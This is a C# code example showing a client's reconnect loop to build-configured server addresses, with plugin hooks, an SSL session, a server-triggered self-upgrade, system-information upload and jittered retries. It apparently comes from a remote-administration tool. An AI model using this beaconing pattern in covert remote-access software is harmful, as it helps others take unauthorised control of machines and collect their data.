Пример #1
0
        private void Connect()
        {
#if DEBUG
            var ipAddresses = new List <IpAddressInfo>
            {
                new IpAddressInfo {
                    Ip = "192.168.178.114", Port = 10134
                },
                new IpAddressInfo {
                    Ip = "127.0.0.1", Port = 10134
                }
            };
#else
            var ipAddresses = Settings.GetBuilderProperty <ConnectionBuilderProperty>().IpAddresses;
#endif
            var currentIpIndex = 0;

            while (IsSearching)
            {
                var skip = false;

                foreach (var clientPlugin in PluginLoader.Current.ClientPlugins)
                {
                    try
                    {
                        if (!clientPlugin.CanTryConnect())
                        {
                            skip = true;
                            break;
                        }
                    }
                    catch (Exception ex)
                    {
                        ErrorReporter.Current.ReportError(ex, "CanStart() at plugin: \"" + clientPlugin.GetType() + "\"");
                    }
                }

                if (!skip)
                {
                    TcpClient    client       = null;
                    SslStream    stream       = null;
                    BinaryReader binaryReader = null;
                    BinaryWriter binaryWriter = null;

                    try
                    {
                        if (currentIpIndex >= ipAddresses.Count)
                        {
                            currentIpIndex = 0;
                        }

                        TryConnectDelegate connectFunction = TryConnect;
                        var connectionModifyingPlugin      =
                            PluginLoader.Current.ClientPlugins.FirstOrDefault(x => x.OverwriteTryConnect);
                        if (connectionModifyingPlugin != null)
                        {
                            connectFunction = connectionModifyingPlugin.TryConnect;
                        }

                        if (connectFunction(out client, out stream, ipAddresses[currentIpIndex]))
                        {
                            currentIpIndex = 0;
                            binaryWriter   = new BinaryWriter(stream);
                            binaryReader   = new BinaryReader(stream);

                            string path;
                            if (!Initialize(binaryWriter, binaryReader, out path))
                            {
                                stream.Dispose();
                                client.Close();

                                if (path != null)
                                {
                                    Program.Unload();
                                    var exeName   = Process.GetCurrentProcess().MainModule.FileName;
                                    var startInfo = new ProcessStartInfo(exeName)
                                    {
                                        Arguments = $"/wait /upgrade \"{path}\""
                                    };
                                    Process.Start(startInfo);
                                    Program.Exit();
                                }
                            }

                            if (Authenticate(binaryReader, binaryWriter))
                            {
                                InformationCollector.SendInformation(stream);
                                IsConnected = true;
                                StopConnect();
                                Connection = new ServerConnection(client, stream, binaryReader, binaryWriter,
                                                                  ClientOperator.Instance.DatabaseConnection, this);
                                Connection.Disconnected += Connection_Disconnected;
                                Connected?.Invoke(this, EventArgs.Empty);
                                break;
                            }
                        }
                        else
                        {
                            currentIpIndex++;
                        }
                    }
                    catch (Exception)
                    {
                        // ignored
                    }

                    binaryReader?.Close();
                    binaryWriter?.Close();
                    stream?.Dispose();
                    client?.Close();
                }

                Thread.Sleep(Settings.GetBuilderProperty <ReconnectDelayProperty>().Delay + _random.Next(1, 340));
            }
        }